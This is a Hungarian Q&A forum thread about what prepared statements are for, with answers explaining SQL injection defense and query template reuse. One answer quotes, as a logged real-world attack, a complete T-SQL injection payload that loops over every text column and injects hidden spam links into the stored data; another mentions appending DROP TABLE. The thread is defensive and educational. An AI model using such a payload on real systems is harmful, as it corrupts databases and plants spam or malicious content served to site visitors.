Kezdőoldal » Számítástechnika » Weblapkészítés » Mire jó a prepared statement?

Mire jó a prepared statement?

Figyelt kérdés

2015. márc. 30. 04:56
 1/6 Tengor ***** válasza:
50%
Az SQL injection kivédésére.
2015. márc. 30. 07:09
Hasznos számodra ez a válasz?
 2/6 anonim ***** válasza:

Más szóval, hogy ne tudjanak könnyedén beilleszteni mindenféle kódokat az adatbázisodba, vagy egy jó lekérdezéssel a szerver ne köpje ki az összes felhasználó adatát...


Más szóval: ha bármilyen user input-ot feldolgozol, akkor csak és kizárólag prepared statementtel tedd. Ellenkező esetben egy orbitális (és rendkívül banális, könnyen kivédhető) biztonsági rést hagysz.


Erre egyébként manapság bot hegyek vannak, nálunk kb heti 1-2 próbálkozás van mindenféle SQL injectionra.


Pl, legutóbb ebből volt egy próbákozás (pont ma reggel érkezett):


[link] @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''information about abortion pill ''+char(60)+''a href="http:''+char(47)+char(47)+''www.idpa.com''+char(47)+''blog''+char(47)+''page''+char(47)+''where-to-buy-abortion-pills.aspx"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''read'' when 1 then ''online medication pill'' else ''online'' end +char(60)+char(47)+''a''+char(62)+'' about abortion pill''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--


Ez pl egy példája az SQL injectionnak. Ha pl a TPR paramétert csak benyomom a lekérdezésbe, akkor a hosszú szám után következő '); jel zárná a lekérdezést, és utána a támadó próbálkozik beilleszteni egy saját kódot - majd a legvégén a -- jellel jelzi, hogy az SQL minden mást hagyjon figyelmen kívül.


Ez speciel csak egy kevésbé kártékony cucc, "csupán" egy reklámot próbál beilleszteni. De ugyanezzel a technikával akár vírust, kémprogramot is lehet juttatni a felhasználó gépére, ha megbízik az oldaladban.

2015. márc. 30. 10:48
Hasznos számodra ez a válasz?
 3/6 Drone007 ***** válasza:
59%

A prepared statement nem az sql injection kivédésére lett kitalálva. Az, hogy az ellen is véd, az a technológia egy mellékes eredménye (az átfuttatott adatokon a pdo végrehajtja a megfelelő műveleteket).

A prepared statement lényege, hogy egy sablon lekérdezést (insert/update/...) több rekordon is végre lehessen hajtani úgy, hogy ne kelljen újra és újra előállítani az sql szintaxist, csak a megfelelő változók értékét cseréljük, és elküldjük a végrehajtási utasítást.

Vagy tárolt utasítást tudunk többször elküldeni a szervernek ugyanazon a lekérdezésen.

[link]

2015. márc. 30. 11:02
Hasznos számodra ez a válasz?
 4/6 A kérdező kommentje:
És lekérdezéskor is kell használni, vagy csak akkor, ha beírok valamit?
2015. márc. 30. 12:09
 5/6 anonim ***** válasza:
Az azért erős túlzás így fényes nappal, hogy tárolt lekérdezések nélkül nem lehet védekezni az SQL injection ellen. Van azért még néhány módszer.
2015. márc. 30. 12:10
Hasznos számodra ez a válasz?
 6/6 Tengor ***** válasza:
Lekérdezéskor is használd, mert lehet, hogy te SELECT-et írsz, de azt egy ;-al lezárja és már jöhet is utána a támadó DROP TABLE-je.
2015. márc. 30. 12:52
Hasznos számodra ez a válasz?

Kapcsolódó kérdések:




Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu

A weboldalon megjelenő anyagok nem minősülnek szerkesztői tartalomnak, előzetes ellenőrzésen nem esnek át, az üzemeltető véleményét nem tükrözik.
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!